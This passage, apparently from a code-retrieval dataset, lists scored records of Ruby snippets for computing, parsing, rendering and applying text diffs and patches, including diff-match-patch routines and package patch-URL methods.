"text": "def patch_make(*args)\n text1 = nil\n diffs = nil\n if args.length == 2 && args[0].is_a?(String) && args[1].is_a?(String)\n # Compute diffs from text1 and text2.\n text1 = args[0]\n text2 = args[1]\n diffs = diff_main(text1, text2, true)\n if diffs.length > 2\n diff_cleanup_semantic(diffs)\n diff_cleanup_efficiency(diffs)\n end\n elsif args.length == 1 && args[0].is_a?(Array)\n # Compute text1 from diffs.\n diffs = args[0]\n text1 = diff_text1(diffs)\n elsif args.length == 2 && args[0].is_a?(String) && args[1].is_a?(Array)\n text1 = args[0]\n diffs = args[1]\n elsif args.length == 3 && args[0].is_a?(String) && args[1].is_a?(String) &&\n args[2].is_a?(Array)\n # Method 4: text1, text2, diffs\n # text2 is not used.\n text1 = args[0]\n # text2 = args[1]\n diffs = args[2]\n else\n raise ArgumentError.new(\"Unknown call format to patch_make.\")\n end\n\n return [] if diffs.empty? # Get rid of the null case.\n\n patches = []\n patch = PatchObj.new\n char_count1 = 0 # Number of characters into the text1 string.\n char_count2 = 0 # Number of characters into the text2 string.\n prepatch_text = text1 # Recreate the patches to determine context info.\n postpatch_text = text1\n\n diffs.each_with_index do |diff, x|\n diff_type, diff_text = diffs[x]\n if patch.diffs.empty? && diff_type != :equal\n # A new patch starts here.\n patch.start1 = char_count1\n patch.start2 = char_count2\n end\n\n case diff_type\n when :insert\n patch.diffs.push(diff)\n patch.length2 += diff_text.length\n postpatch_text = postpatch_text[0...char_count2] + diff_text +\n postpatch_text[char_count2..]\n when :delete\n patch.length1 += diff_text.length\n patch.diffs.push(diff)\n postpatch_text = postpatch_text[0...char_count2] +\n postpatch_text[(char_count2 + diff_text.length)..]\n when :equal\n if diff_text.length <= 2 * patch_margin &&\n !patch.diffs.empty? && diffs.length != x + 1\n # Small equality inside a patch.\n patch.diffs.push(diff)\n patch.length1 += diff_text.length\n patch.length2 += diff_text.length\n elsif diff_text.length >= 2 * patch_margin\n # Time for a new patch.\n unless patch.diffs.empty?\n patch_add_context(patch, prepatch_text)\n patches.push(patch)\n patch = PatchObj.new\n # Unlike Unidiff, our patch lists have a rolling context.\n # http://code.google.com/p/google-diff-match-patch/wiki/Unidiff\n # Update prepatch text & pos to reflect the application of the\n # just completed patch.\n prepatch_text = postpatch_text\n char_count1 = char_count2\n end\n end\n end\n\n # Update the current character count.\n if diff_type != :insert\n char_count1 += diff_text.length\n end\n if diff_type != :delete\n char_count2 += diff_text.length\n end\n end\n\n # Pick up the leftover patch if not empty.\n unless patch.diffs.empty?\n patch_add_context(patch, prepatch_text)\n patches.push(patch)\n end\n\n patches\n end",
"title": ""
},
{
"docid": "9a1e5adba688b8a89762ad974d3046d5",
"score": "0.57182336",
"text": "def patches\n [\n \"https://github.com/spin6lock/tig/commit/159eff692b24aa05f766f76922b0f2515fbbf415.diff\",\n \"https://github.com/spin6lock/tig/commit/70cb91e7d210b92ab012d9819bd20ebe92885bd6.diff\"\n ]\n end",
"title": ""
},
{
"docid": "1ec8a61922cd9ff140fb152cef56f7e8",
"score": "0.57075506",
"text": "def patch_ops\n return if @patch_ops.empty?\n \n Dir.glob(File.join(@player_src, '**', '*.java')).each do |file|\n old_contents = File.read file\n lines = old_contents.split(\"\\n\")\n\n stubs_enabled = true\n\n 0.upto(lines.count - 1) do |i|\n line = lines[i]\n if directive_match = /^\\s*\\/\\/\\$(.*)$/.match(line)\n directive = directive_match[1]\n case directive.strip.downcase\n when '+stubs', '-stubs'\n stubs_enabled = directive[0] == ?+\n end\n else\n @patch_ops.each do |op|\n op_type, target, source = *op\n \n case op_type\n when :stub_member\n if stubs_enabled\n line.gsub!(/(^|[^A-Za-z0-9_.])([A-Za-z0-9_.]*\\.)?#{source}\\(/) do |match|\n arg = ($2.nil? || $2.empty?) ? 'this' : $2[0..-2]\n \"#{$1}#{player_name}.#{target}(#{arg}, \"\n end\n end\n when :stub_static\n if stubs_enabled\n line.gsub! /(^|[^A-Za-z0-9_.])([A-Za-z0-9_.]*\\.)?#{source}\\(/,\n \"\\\\1#{player_name}.#{target}(\"\n end\n end\n end\n end\n end\n contents = lines.join(\"\\n\")\n File.open(file, 'wb') { |f| f.write contents } unless contents == old_contents\n end\n end",
"title": ""
},
{
"docid": "512b613d8690237b02121e1f84bdc928",
"score": "0.5691464",
"text": "def execute\n files = [Tempfile.new('black'), Tempfile.new('black')]\n files.first.write(@older)\n files.last.write(@newer)\n files.each { |a| a.read }\n\n args = [files.first.path, files.last.path] + OutputParser.diff_options\n\n Diff.execute(args)\n ensure\n files.each do |file|\n if file && File.exist?(file.path)\n file.close\n file.unlink\n end\n end\n end",
"title": ""
},
{
"docid": "d2490a1c0192ade0b8261d48818a75d5",
"score": "0.56804556",
"text": "def commit_patch\n patch.error = nil\n\n @t.apply patch.file\n @t.add '.'\n @t.commit '', reuse_message: patch.second_commit\n rescue => error\n # Houston we have a problem\n patch.error = error\n # first we yield to allow a fix\n yield patch if block_given?\n\n # if a fix was made, retry\n if patch.changed?\n patch.save\n retry\n end\n end",
"title": ""
},
{
"docid": "ab1b73bce49b5432aafa5d54df212759",
"score": "0.5679694",
"text": "def sync_changes!\n calculate_diffs\n\n files_to_write = @added_files\n files_to_write += @modified_files.reject { |file| @diff_cache[file[:path]].nil? }\n\n @removed_files.each do |file|\n unlink_file(file)\n end\n\n files_to_write.each do |file|\n write_file(file[:path], file[:content])\n end\n end",
"title": ""
},
{
"docid": "b135bfab1cf14d198fd5bdab33ea6fb6",
"score": "0.5608149",
"text": "def run_on_modifications(paths)\n _changed_files, success = Runner.run(Inspector.clean(paths), @patterns, options)\n\n throw :task_has_failed unless success\n end",
"title": ""
},
{
"docid": "250ca1525f6de6b3f5515addbf80f4f4",
"score": "0.5607569",
"text": "def process_diff(diff)\n it = diff.each_line\n location = 0\n loop do\n line = it.next\n location += 1\n is_file_def = line.start_with?('+++') || line.start_with?('---')\n next unless is_file_def and line !~ %r{\\A(\\-\\-\\-|\\+\\+\\+) /dev/null$}\n\n diff_file = DiffFile.new(line, it, location)\n yield diff_file\n location = diff_file.location\n end\n rescue StopIteration\n return\n end",
"title": ""
},
{
"docid": "8ea61c5335714b3879c8f85caa1d7492",
"score": "0.55822796",
"text": "def apply_diff_op_set(data, mode)\n ret = { :status => false }\n\n begin\n ret[:status] = file_patch(data['value'])\n rescue OneCfg::Config::Exception::PatchException\n # rubocop:disable Style/GuardClause\n if mode.include?(:skip)\n ret[:mode] = :skip\n else\n raise\n end\n # rubocop:enable Style/GuardClause\n end\n\n ret\n end",
"title": ""
},
{
"docid": "60c3e1f7853403e94adb288cb4743a17",
"score": "0.55759865",
"text": "def patch(diffs)\n newary = nil\n kindofstring = kind_of? String\n if kindofstring\n newary = self.class.new('')\n else\n newary = self.class.new\n end\n ai = 0\n bi = 0\n diffs.each { |action,position,elements|\n case action\n when :-\n\twhile ai < position\n\t newary << self[ai]\n\t ai += 1\n\t bi += 1\n\tend\n\tai += elements.length\n when :+\n\twhile bi < position\n\t newary << self[ai]\n\t ai += 1\n\t bi += 1\n\tend\n\tif kindofstring\n\t newary << elements\n\telse\n\t newary.push(*elements)\n\tend\n\tbi += elements.length\n else\n\traise \"Unknown diff action\"\n end\n }\n while ai < self.length\n newary << self[ai]\n ai += 1\n bi += 1\n end\n return newary\n end",
"title": ""
},
{
"docid": "12a57c59dcd1332f0b9061fa98f6563b",
"score": "0.5569756",
"text": "def render_diff(udiff)\n return if udiff.blank?\n out = \"<table class=\\\"codediff\\\">\\n\"\n \n lines = udiff.split(\"\\n\")\n \n lines_that_differs = /@@ -(\\d+),?(\\d*) \\+(\\d+),?(\\d*) @@/\n \n out << \"<thead>\\n\"\n out << \"\\t<tr><td class=\\\"line-numbers\\\">prev.</td><td class=\\\"line-numbers\\\">current</td><td> </td></tr>\\n\"\n out << \"</thead>\\n\"\n\n prev_counter = 0\n cur_counter = 0\n change_num = 0\n\n lines[2..lines.length].each do |line| \n if line_nums = line.match(lines_that_differs) \n \tprev_line_numbers = line_nums[1].to_i...(line_nums[1].to_i + (line_nums[2]).to_i)\n cur_line_numbers = line_nums[3].to_i...(line_nums[3].to_i + (line_nums[4]).to_i)\n prev_counter = prev_line_numbers.first - 1\n cur_counter = cur_line_numbers.first - 1\n change_num += 1 \n end\n \n line = h(line)\n line.gsub!(/^\\s/, '') # The column where + or - would be\n line.gsub!(/^(\\+{1}(\\s+|\\t+)?(.*))/, '\\2<ins>\\3</ins>')\n line.gsub!(/^(-{1}(\\s+|\\t+)?(.*))/, '\\2<del>\\3</del>')\n line.gsub!('\\ No newline at end of file', '')\n\n out << \"<tr class=\\\"changes\\\">\\n\"\n \n if line.match(/^(\\s+|\\t+)?<del>/) \n out << \"\\t<td class=\\\"line-numbers\\\">\" + prev_counter.to_s + \"</td>\\n\"\n out << \"\\t<td class=\\\"line-numbers\\\"> </td>\\n\"\n prev_counter += 1\n action_class = 'del'\n elsif line.match(/^(\\s+|\\t+)?<ins>/)\n out << \"\\t<td class=\\\"line-numbers\\\"> </td>\\n\"\n out << \"\\t<td class=\\\"line-numbers\\\">\" + cur_counter.to_s + \"</td>\\n\"\n cur_counter += 1 \n action_class = 'ins'\n else\n if line.match(lines_that_differs)\n line = ''\n if change_num > 1\n out << \"\\t<td class=\\\"line-numbers line-num-cut\\\">...</td>\\n\"\n out << \"\\t<td class=\\\"line-numbers line-num-cut\\\">...</td>\\n\"\n action_class = 'cut-line'\n else \n out << \"\\t<td class=\\\"line-numbers\\\"></td>\\n\"\n out << \"\\t<td class=\\\"line-numbers\\\"></td>\\n\"\n action_class = 'unchanged'\n end\n else\n out << \"\\t<td class=\\\"line-numbers\\\"></td>\\n\"\n out << \"\\t<td class=\\\"line-numbers\\\"></td>\\n\"\n action_class = 'unchanged'\n end\n prev_counter += 1 \n cur_counter += 1 \n end\n \n out << \"\\t<td class=\\\"code #{action_class}\\\">\" + line + \"</td></tr>\\n\" \n end\n out << \"\\n</table>\\n\"\n end",
"title": ""
},
{
"docid": "6b43280093f714311b2f73bd7ca7b044",
"score": "0.55513185",
"text": "def index_diff_with_optimized_lines\n diff = index_diff(INDEX_DIFF_OPTIONS)\n diff.deltas.zip(diff.patches).each do |delta, patch|\n lines = organize_lines(delta, patch)\n lines.each do |line|\n yield(delta.old_file[:path], delta.new_file[:path], patch, line)\n end\n end\n end",
"title": ""
},
{
"docid": "ecefd64bfd947431b56f615fa69ea1b0",
"score": "0.55484825",
"text": "def patch(file)\n\t\tfetch_file(file)\n\tend",
"title": ""
},
{
"docid": "1b74cb339a26a6fc2f2ca8e61954a3a1",
"score": "0.5546003",
"text": "def initialize(patches)\n super('Patches with same name and different content: ' +\n patches.map(&:full_filename).join(' / ')\n )\n @patches = patches.clone.freeze\n end",
"title": ""
},
{
"docid": "016a38bd6b76e89abb77c4ec474fe43b",
"score": "0.5544726",
"text": "def apply( path )\n @patches.map do |fname, patchset|\n fname = File.join( path, fname ) # .gsub( /^.*?[\\/\\\\]/, '' ) )\n ftarg = File.read( fname ) rescue ''\n ftarg = YAML::load( ftarg ) if fname =~ /\\.yaml$/\n \n patchset.each_with_index do |(ptype, patch), patchno|\n # apply the changes\n puts \"*** Applying patch ##{ patchno + 1 } for #{ fname } (#{ ptype }).\"\n ftarg = method( ptype.gsub( /\\W/, '_' ) ).call( ftarg, patch )\n end\n\n [fname, ftarg]\n end.\n each do |fname, ftext|\n # save the files\n if ftext == :remove\n FileUtils.rm_rf fname\n else\n FileUtils.makedirs( File.dirname( fname ) )\n ftext = ftext.to_yaml if fname =~ /\\.yaml$/\n File.open( fname, 'w+' ) { |f| f << ftext }\n end\n end\n end",
"title": ""
},
{
"docid": "8894c681e643c1c6d7c9909c9911ef40",
"score": "0.55289894",
"text": "def patch(diffs)\n\t\tnewary = nil\n\t\tkindofstring = kind_of? String\n\t\tif kindofstring\n\t\t\tnewary = self.class.new('')\n\t\telse\n\t\t\tnewary = self.class.new\n\t\tend\n\t\tai = 0\n\t\tbi = 0\n\t\tdiffs.each { |action,position,elements|\n\t\t\tcase action\n\t\t\twhen :-\n\t\t\t\twhile ai < position\n\t\t\t\t\tnewary << self[ai]\n\t\t\t\t\tai += 1\n\t\t\t\t\tbi += 1\n\t\t\t\tend\n\t\t\t\tai += elements.length\n\t\t\twhen :+\n\t\t\t\twhile bi < position\n\t\t\t\t\tnewary << self[ai]\n\t\t\t\t\tai += 1\n\t\t\t\t\tbi += 1\n\t\t\t\tend\n\t\t\t\tif kindofstring\n\t\t\t\t\tnewary << elements\n\t\t\t\telse\n\t\t\t\t\tnewary.push *elements\n\t\t\t\tend\n\t\t\t\tbi += elements.length\n\t\t\telse\n\t\t\t\traise \"Unknown diff action\"\n\t\t\tend\n\t\t}\n\t\twhile ai < self.length\n\t\t\tnewary << self[ai]\n\t\t\tai += 1\n\t\t\tbi += 1\n\t\tend\n\t\treturn newary\n\tend",
"title": ""
},
{
"docid": "a93b60c42fedac6eb234d9f00f171022",
"score": "0.55222446",
"text": "def patch_main_ruby_files\n each_main_ruby_files do |main|\n puts \"Patching #{main}\"\n patch_ruby_file(main)\n end\n end",
"title": ""
},
{
"docid": "64668f9291ef3c50c929d6e2804eb7a3",
"score": "0.55021673",
"text": "def changes(start_ref, end_ref)\n check_refs(start_ref, end_ref)\n s = Mixlib::ShellOut.new(\n \"#{@bin} diff --name-status #{start_ref} #{end_ref}\",\n cwd: File.expand_path(@repo_path)\n )\n s.run_command.error!\n begin\n files_changed = parse_status(s.stdout).compact\n files_changed.reject { |x| skip_marked?(x[:path]) }\n rescue => e\n # We've seen some weird non-reproducible failures here\n @logger.error(\n 'Something went wrong. Please please report this output.'\n )\n @logger.error(e)\n s.stdout.lines.each do |line|\n @logger.error(line.strip)\n end\n exit(1)\n end\n end",
"title": ""
},
{
"docid": "5a437660ce06b2686e788fce7918e86b",
"score": "0.5501812",
"text": "def apply\n diff_chunks =\n @diff_array.inject([]) do |chunks, line|\n if line == '...'\n chunks << []\n else\n # If there is only a one-line change, there may be no leading ...\n if chunks.last.nil?\n chunks << []\n end\n\n chunks.last << line\n end\n\n chunks\n end\n\n final_lines = []\n File.open(@filename) do |file|\n diff_chunks.each do |current_chunk|\n while current_chunk.length > 0 && ! file.eof?\n # insert lines through first line matching the chunk\n while (file_line = file.gets) && ! lines_match?(file_line, current_chunk.first)\n final_lines << file_line\n end\n\n # scan all leading matching lines in\n final_lines << current_chunk.shift.gsub(/->(.*)<-/, '\\1')\n matching_lines = current_chunk.take_while { |chunk_line| file.gets == chunk_line }\n final_lines += matching_lines\n current_chunk = current_chunk.drop(matching_lines.length)\n\n # move on if there's nothing left in the current chunk\n next if current_chunk.empty?\n\n # drop non-matching lines from input file\n loop while file_line = file.gets && ! current_chunk.include?(file_line)\n\n # insert diff lines through next matching line\n matching_lines = current_chunk.take_while { |chunk_line| file_line != chunk_line }\n final_lines += current_chunk\n current_chunk = current_chunk.drop(matching_lines.length)\n end\n end\n\n # scan the rest of the file\n while file_line = file.gets\n final_lines << file_line \n end\n end\n\n File.write(@filename, final_lines.join(''), :mode => 'w')\n end",
"title": ""
},
{
"docid": "75942ecb9fa7fe363b71ffbcc0f7ee3f",
"score": "0.54993576",
"text": "def update_patch_archive(search_arch,search_rel)\n zip_file = \"\"\n readme_file = \"\"\n doc = open_patchdiag_xref()\n doc.each do |line|\n line.chomp\n if line.match(/^[0-9]/)\n (number,version,date,recommended,security,obsolete,bad,release,architecture,package,synopsis) = line.split(\"|\")\n patch_no = number+\"-\"+version\n if !obsolete.match(/O/) and !bad.match(/[A-z]/) and !release.match(/Trusted/)\n if release.match(/Unbundled/)\n release = \"all\"\n end\n if !architecture.match(/[A-z]/)\n architecture = \"all\"\n end\n if release.match(/x86/) or architecture.match(/i386/)\n architecture = \"x86\"\n release = release.split(\"_\")[0]\n end\n if architecture.match(/sparc/)\n architecture = \"sparc\"\n end\n if architecture.match(/#{search_arch}/) or search_arch.match(/all/)\n if release.match(/#{search_rel}/) or search_rel.match(/all/)\n zip_file = $work_dir+\"/patches/\"+architecture+\"/\"+release+\"/\"+patch_no+\".zip\"\n readme_file = $work_dir+\"/readmes/\"+architecture+\"/\"+release+\"/README.\"+patch_no\n get_patch_readme(patch_no,readme_file)\n get_patch_file(patch_no,zip_file)\n end\n end\n else\n if $verbose == 1\n if obsolete.match(/O/)\n puts \"Ignoring obsolete patch: \"+patch_no\n else\n if bad.match(/[A-z]/)\n puts \"Ignoring bad patch: \"+patch_no\n else\n if release.match(/Trusted/)\n puts \"Ignoring Tusted Solaris patch: \"+patch_no\n end\n end\n end\n end\n end\n end\n end\n return\nend",
"title": ""
},
{
"docid": "a6d2e276d02c66970a03a21e13d8cf37",
"score": "0.5494755",
"text": "def patch; end",
"title": ""
},
{
"docid": "3ef173bed629a60ae11d5e4feacd09ba",
"score": "0.54805446",
"text": "def patch(*args, &block); end",
"title": ""
},
{
"docid": "c802538192a2c42266636685a9d76c1e",
"score": "0.54745007",
"text": "def approve\n setup\n\n output_files.each {|file|\n if not check_output_for(file)\n puts \"Updating file: #{file}\"\n File.new(File.join(@output, file), \"w\").write(output_for(file)) \n end\n }\n\n clean\n end",
"title": ""
},
{
"docid": "d3e6175e53b96ff518d7f036fec0b0eb",
"score": "0.5472861",
"text": "def file_diff(\n tag,\n file_new,\n file_old\n)\n rtn = []\n m_name = \"#{__method__}\"\n dbg_print( @dbg_lv, 3, m_name )\n dbg_print( @dbg_lv, 4, m_name, %w( tag file_new file_old ).collect { |a| \"ARGS:#{a}=#{(eval a).inspect}\" } )\n begin\n tag = \"#{tag}-#{(0..8).map{ charset.to_a[rand(charset.size)] }.join}\"\n IO.popen(\"diff #{file_new} #{file_old} 2>/dev/null\").each_line { |l|\n rtn << l.strip\n }\n if not rtn.empty? # Write out diffs if any ...\n dbg_print( @dbg_lv, 5, m_name, \"Diff found [#{tag}]\" )\n diff_log = File.open( @settings['DIFFLOG'], 'a+' )\n rtn.each { |l| diff_log.puts \"#{time_now}::#{tag}::#{l}\" }\n diff_log.close\n end\n rescue\n # Log but ignore ...\n log_error( m_name, [$!.to_s.strip] )\n end\n return rtn\nend",
"title": ""
},
{
"docid": "9f544e601a7e4e5362303d5e029cf23c",
"score": "0.5471812",
"text": "def parse(data)\n old_file = \"\"\n new_file = \"\"\n spec_file = false\n gem_file = false\n file = \"\"\n\n diff_map = {}\n interesting_mods = []\n\n data.each_line do |line|\n if is_start_of_new_file?(line)\n if interesting_mods.length > 0\n diff_map[file] = interesting_mods\n end\n spec_file = false\n gem_file = false\n old_file = \"\"\n new_file = \"\"\n file = \"\"\n interesting_mods = []\n end\n\n if spec_file\n next\n end\n\n if is_deleted_file?(line)\n # A file was deleted!\n old_file = get_file(line)\n next\n end\n\n if is_new_file?(line)\n # A file was added.\n new_file = get_file(line)\n\n # Check if the file is in the spec directory\n spec_file = is_file_in_spec_dir?(new_file)\n\n unless old_file.eql? new_file\n # The files are different. Either deleted or created as new\n spec_file |= is_file_in_spec_dir?(old_file)\n end\n\n # Check if either the old/new file is a Gemfile or a gemspec\n if is_gem_file?(old_file) or is_gem_file?(new_file)\n gem_file = true\n end\n\n file = get_current_file(old_file, new_file)\n next\n end\n\n if is_modified_line?(line)\n if gem_file\n interesting_mods << line\n next\n end\n\n if is_interesting?(line)\n interesting_mods << line\n end\n end\n end\n\n # We might still have an interesting left-over file.\n # Add it to our map if it is true\n if interesting_mods.length > 0\n diff_map[file] = interesting_mods\n end\n\n diff_map\n end",
"title": ""
},
{
"docid": "7d1758ee64c4c3c73f3495ba7bcc3be4",
"score": "0.5469869",
"text": "def patch(filename)\n original = File.read(filename)\n patched = yield original\n\n File.write(filename, patched)\n end",
"title": ""
},
{
"docid": "bfa4760a49c4c1fc7ced63bc7becfe1b",
"score": "0.5449824",
"text": "def patches\n {:p0 => [\n \"https://trac.macports.org/export/105275/trunk/dports/devel/orbit2/files/patch-linc2-src-Makefile.in.diff\",\n \"https://trac.macports.org/export/105275/trunk/dports/devel/orbit2/files/patch-configure.diff\"\n ]}\n end",
"title": ""
},
{
"docid": "44dba65be89a6baf7368e6516c61fff4",
"score": "0.54478",
"text": "def patch_apply(patches, text)\n return [text, []] if patches.empty?\n\n # Deep copy the patches so that no changes are made to originals.\n patches = Marshal.load(Marshal.dump(patches))\n\n null_padding = patch_add_padding(patches)\n text = null_padding + text + null_padding\n patch_split_max(patches)\n\n # delta keeps track of the offset between the expected and actual location\n # of the previous patch. If there are patches expected at positions 10 and\n # 20, but the first patch was found at 12, delta is 2 and the second patch\n # has an effective expected position of 22.\n delta = 0\n results = []\n patches.each_with_index do |patch, x|\n expected_loc = patch.start2 + delta\n text1 = diff_text1(patch.diffs)\n end_loc = -1\n if text1.length > match_max_bits\n # patch_splitMax will only provide an oversized pattern in the case of\n # a monster delete.\n start_loc = match_main(text, text1[0, match_max_bits], expected_loc)\n if start_loc != -1\n end_loc = match_main(text, text1[(text1.length - match_max_bits)..],\n expected_loc + text1.length - match_max_bits)\n if end_loc == -1 || start_loc >= end_loc\n # Can't find valid trailing context. Drop this patch.\n start_loc = -1\n end\n end\n else\n start_loc = match_main(text, text1, expected_loc)\n end\n if start_loc == -1\n # No match found. :(\n results[x] = false\n # Subtract the delta for this failed patch from subsequent patches.\n delta -= patch.length2 - patch.length1\n else\n # Found a match. :)\n results[x] = true\n delta = start_loc - expected_loc\n text2 = text[start_loc, end_loc == -1 ? text1.length : end_loc + match_max_bits]\n\n if text1 == text2\n # Perfect match, just shove the replacement text in.\n text = text[0, start_loc] + diff_text2(patch.diffs) + text[(start_loc + text1.length)..]\n else\n # Imperfect match.\n # Run a diff to get a framework of equivalent indices.\n diffs = diff_main(text1, text2, false)\n if text1.length > match_max_bits &&\n diff_levenshtein(diffs).to_f / text1.length > patch_delete_threshold\n # The end points match, but the content is unacceptably bad.\n results[x] = false\n else\n diff_cleanup_semantic_lossless(diffs)\n index1 = 0\n patch.diffs.each do |op, data|\n if op != :equal\n index2 = diff_x_index(diffs, index1)\n end\n if op == :insert # Insertion\n text = text[0, start_loc + index2] + data + text[(start_loc + index2)..]\n elsif op == :delete # Deletion\n text = text[0, start_loc + index2] +\n text[(start_loc + diff_x_index(diffs, index1 + data.length))..]\n end\n if op != :delete\n index1 += data.length\n end\n end\n end\n end\n end\n end\n\n # Strip the padding off.\n text = text[null_padding.length...-null_padding.length]\n [text, results]\n end",
"title": ""
},
{
"docid": "09774ff4e48b481e9368cdae66b9d02f",
"score": "0.54436094",
"text": "def patch_file_for(commit)\n @patch_dir.join 'git-patch-patch',\n # horrendous but necessary to ensure unicity\n # of path, without having an absolute path\n # that 'join' doesn't like\n Pathname(@t.directory).realpath.to_s.sub('/',''),\n commit.to_s,\n 'patch'\n end",
"title": ""
},
{
"docid": "17029b4a3a5eb8b9682bf5626ea9b83d",
"score": "0.5436324",
"text": "def diff!(config, old)\n script_reports.each do |new_sr|\n script_name = new_sr.scan_info.script_name\n if config['process'][script_name]['diff']\n relpath = new_sr.scan_info.relpath\n old_sr = Xenuti::Report.find_script_report(old, script_name, relpath)\n new_sr.diff!(old_sr, config['process'][script_name]['diff_ignore'])\n end\n end\n self\n end",
"title": ""
},
{
"docid": "b1db8b117d2942c2d2526055a4eb3f5c",
"score": "0.5436249",
"text": "def patches\n { :p0 => [\n \"https://trac.macports.org/export/94428/trunk/dports/textproc/unrtf/files/patch-src-attr.c.diff\"\n ]}\n end",
"title": ""
},
{
"docid": "59d36c64ca88460a56f7c913a3cd64e7",
"score": "0.54361933",
"text": "def files_from_diff diff\n files = []\n\n diff.each_patch\n .select{ |patch| [ :modified, :added, :renamed ].include? patch.delta.status }\n .each do |patch|\n file_path = patch.delta.new_file[:path]\n\n lines = patch.hunks.map do |hunk|\n hunk.lines\n .reject{ |line| [ :context, :deletion ].include? line.line_origin }\n .map{ |line| line.content }\n end.flatten\n\n files << Norp::Wrappers::File.new(path: file_path, lines: lines, patch: patch)\n end\n\n files\n end",
"title": ""
},
{
"docid": "681aa08c025c620d7359964a8639d030",
"score": "0.5415982",
"text": "def decorate(diff_file)\n content = read_file(diff_file)\n\n return [] unless content\n\n # TODO: We could add some kind of flag to #initialize that would allow\n # us to force re-caching\n # https://gitlab.com/gitlab-org/gitlab/-/issues/263508\n #\n if content.empty? && recache_due_to_size?(diff_file)\n # If the file is missing from the cache and there's reason to believe\n # it is uncached due to a size issue around changing the values for\n # max patch size, manually populate the hash and then set the value.\n #\n new_cache_content = {}\n new_cache_content[diff_file.file_path] = diff_file.highlighted_diff_lines.map(&:to_hash)\n\n write_to_redis_hash(new_cache_content)\n\n set_highlighted_diff_lines(diff_file, read_file(diff_file))\n else\n set_highlighted_diff_lines(diff_file, content)\n end\n end",
"title": ""
},
{
"docid": "da68af54bce0e5baacba0cfbdefb9314",
"score": "0.541318",
"text": "def add_fake_errors(input_file, prefix)\n output_file = input_file.sub('.root', '_statshapes.root')\n output_sys_list = input_file.sub('.root', '_statshapes.txt')\n file output_file => [input_file] do |t|\n sh \"$CMSSW_BASE/src/HiggsAnalysis/HiggsToTauTau/scripts/add_stat_shapes.py #{input_file} #{output_file} --filter '*fakes' --prefix CMS_vhtt_#{$period}_#{prefix}_fakeshape > #{output_sys_list}\"\n end\nend",
"title": ""
},
{
"docid": "95d6bdf7d875289fcfa9be2e579f3503",
"score": "0.5411686",
"text": "def run\n return [] unless @patches\n\n @patches.select(&method(:valid_patch?))\n .map(&method(:inspect))\n .flatten\n .compact\n end",
"title": ""
},
{
"docid": "4db7bfce16f6dbbc3c5e8c5560fca2b4",
"score": "0.5410451",
"text": "def compare(&diff_block)\n # Get a copy of the outputs before any transformations are applied\n FileUtils.cp_r(\"#{temp_transformed_path}/.\", temp_raw_path)\n\n transform_paths!\n\n glob_all(after_path).each do |relative_path|\n expected = after_path + relative_path\n\n next unless expected.file?\n next if context.ignores?(relative_path)\n\n block = context.preprocessors_for(relative_path).first\n diff = diff_files(expected, relative_path, &block)\n\n diff_block.call diff\n end\n end",
"title": ""
},
{
"docid": "baa10dd06eae50fade9176da375c07e2",
"score": "0.54050136",
"text": "def get_patch_files(filepath)\n files = Array.new\n p \"==========\"\n p \"patch file for vul: \" + filepath\n begin\n File.foreach(filepath) do |line|\n# p \"patch-> \" + line\n files.push(line)\n end\n rescue SystemCallError => e\n puts %Q(class=[#{e.class}] message=[#{e.message}])\n end\n return files\nend",
"title": ""
},
{
"docid": "45060e97e583608fc23b78a9aeda6f71",
"score": "0.54001373",
"text": "def update_file_churn(files, c)\n GC.start()\n # For every change in this commit\n begin\n c.diff(c.parents.first).each_patch do |patch|\n GC.start()\n delta = patch.delta\n # If it's a modification change\n if delta.modified?\n filepath = delta.old_file[:path]\n # And the path to the changed file isn't to be ignored\n if !should_ignore_file(filepath)\n # Then update that file's status with more churn and bug data\n file = files.get_file(filepath)\n churn = patch.additions + patch.deletions\n file.churn += churn\n file.num_commits += 1\n end\n end\n end\n rescue Rugged::NoMemError\n puts \"Rugged went OOM reading patchset with sha #{c.tree_id}\"\n end\nend",
"title": ""
},
{
"docid": "757b7fd1a61e887de23720178232d3a3",
"score": "0.53973526",
"text": "def patches\n {\n :p2 => [\n DATA, \n 'https://bitbucket.org/purelang/pure-lang/commits/387a67f2f9943640c05b3e8d796ddf7f06febe3f/raw/'\n ]\n }\n end",
"title": ""
},
{
"docid": "25b80c4b11a1f18556df5fb2000fb305",
"score": "0.53691584",
"text": "def regenerate_modifications\n modifications.each do |frog|\n frog.local_path_to_file = transmogrify(frog.width, frog.height, frog.name, frog.crop)\n end\n end",
"title": ""
},
{
"docid": "4b8fb5443242a588fc876056ffbbf387",
"score": "0.53685147",
"text": "def patches\n 'http://quickgit.kde.org/?p=qca.git&a=commitdiff&h=312b69&o=plain'\n end",
"title": ""
},
{
"docid": "6cc49a88549a08a8c1ffcfcf0166ded2",
"score": "0.53668284",
"text": "def perform_patch; end",
"title": ""
},
{
"docid": "dacd9f2a5474a4292e1e4c1a5ad2b132",
"score": "0.53651214",
"text": "def patches\n \"https://gist.github.com/raw/811405/fix-gmtl-build.diff\"\n end",
"title": ""
},
{
"docid": "b6592c2724dc13706f4f5f5f1e6f3576",
"score": "0.5363202",
"text": "def edit_multiple files\n strs = files.map do |file|\n str = StringIO.new\n\n str.puts \"# #{file.name}\"\n str.puts \"#\"\n file.readonly_props.each { |k, v| str.puts \"# #{k}: #{v}\" }\n str.puts YAML.dump(file.props)\n\n str.string\n end\n\n new_strs = edit_tmp_yaml(files.size) do |tmps|\n strs.zip(tmps).each { |str, tmp| tmp.write str }\n end\n\n files.zip(strs, new_strs).each do |file, str, new_str|\n # TODO more robust check for changes?\n if str == new_str\n next\n end\n file.props = YAML.load(new_str)\n end\nend",
"title": ""
},
{
"docid": "ba17c38830b9ce71221e8b6ce7ce3560",
"score": "0.5357622",
"text": "def call(diff, _map)\n super do\n diff.map(&:relative_path).grep(from).map { |source_file_path| to % captures(source_file_path) }\n end\n end",
"title": ""
},
{
"docid": "5766919dd74c92a988022f831020ff83",
"score": "0.53563446",
"text": "def patch\n if options[:reverse]\n source = File.join(rails_env.root, SITES_DIR, name)\n target = File.join(rails_env.root, \"config\")\n else\n target = File.join(rails_env.root, SITES_DIR, name)\n source = File.join(rails_env.root, \"config\")\n end\n FileUtils.cd(target, :verbose => options[:verbose])\n if File.directory?(source)\n tmp = File.join(rails_env.root, \"tmp/patch.diff\")\n self.class.run_command_without_check(\"diff -u -x #{self.class.exclude_files.join(' -x ')} . #{source} > #{tmp}\")\n self.class.run_command_without_check(\"patch -p0 < #{tmp}\")\n else\n @@out.error \"Source directory not found '#{source}'\"\n @@out.important \"Aborting...\"\n exit 1\n end\n end",
"title": ""
},
{
"docid": "e00eb6b225f3c1ec3ffb68ae9269134a",
"score": "0.53468746",
